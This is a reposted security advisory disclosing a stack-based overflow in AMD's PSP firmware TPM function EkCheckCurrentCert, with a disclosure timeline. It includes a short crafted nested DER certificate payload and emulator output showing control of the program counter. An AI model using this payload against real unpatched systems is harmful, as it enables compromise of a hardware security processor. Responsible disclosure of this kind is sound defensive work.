AMD PSP fTPM Remote Code Execution

Credit: Cfir
Risk: High
Local: No
Remote: Yes

Introduction ============ AMD PSP [1] is a dedicated security processor built onto the main CPU die. ARM TrustZone provides an isolated execution environment for sensitive and privileged tasks, such as main x86 core startup. See [2] for details. fTPM is a firmware TPM [3] implementation. It runs as a trustlet application inside the PSP. fTPM exposes a TPM 2.0 interface over MMIO to the host [4]. Research ======== The fTPM trustlet code was found in Corebootas git repository [5] and in several BIOS update files. The TPM reference implementation code is published in (TCG) TPM specification. In fact, the code *is* the spec. Most TPM vendors implement their TPMs based on the TCG spec code. Vendors implement the storage layer (where non-volatile data and persistent objects are stored), connect the crypto library to a good source of entropy, and sometimes re-implement the low-level crypto functions. However, a lot of the TPM code is shared with the publicly accessible TPM specification: request/response marshaling, session management and command execution logic. This research focused on vendor specific code that diverged from the TCG spec. Vulnerability ============= Through manual static analysis, weave found a stack-based overflow in the function EkCheckCurrentCert. This function is called from TPM2_CreatePrimary with user controlled data - a DER encoded [6] endorsement key (EK) certificate stored in the NV storage. A TLV (type-length-value) structure is parsed and copied on to the parent stack frame. Unfortunately, there are missing bounds checks, and a specially crafted certificate can lead to a stack overflow: NESTED_CERT_DATA1 = '\x03\x82\x07\xf0' + 'A * 0x7f0 NESTED_CERT_DATA2 = '\x03\x82' + pack('>H', len(NESTED_CERT_DATA1)) + NESTED_CERT_DATA1 CERT_DATA = '\x03\x82' + pack('>H', len(NESTED_CERT_DATA2)) + NESTED_CERT_DATA2 Proof Of Concept ================ Without access to a real AMD hardware, we used an ARM emulator [7] to emulate a call to EkCheckCurrentCert with the CERT_DATA listed above. We verified that full control on the program counter is possible: EkCheckCurrentCert+c8 : B loc_10EE4 EkCheckCurrentCert+60 : LDR R4, =0xB80 EkCheckCurrentCert+62 : ADDS R4, #0x14 EkCheckCurrentCert+64 : ADD SP, R4 EkCheckCurrentCert+66 : POP {R4-R7,PC} 41414140 : ???? | R0=ff,R1=f00242c,R2=f001c24,R3=824,R4=41414141,R5=41414141,R6=41414141,R7=41414141,PC=41414140,SP=f003000,LR=11125 As far as we know, general exploit mitigation technologies (stack cookies, NX stack, ASLR) are not implemented in the PSP environment. Credits =========== This vulnerability was discovered and reported to AMD by Cfir Cohen of the Google Cloud Security Team. Timeline ======== 09-28-17 - Vulnerability reported to AMD Security Team. 12-07-17 - Fix is ready. Vendor works on a rollout to affected partners. 01-03-18 - Public disclosure due to 90 day disclosure deadline. [1] [2] [3] [4] [5] [6] [7]


Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018,


Back to Top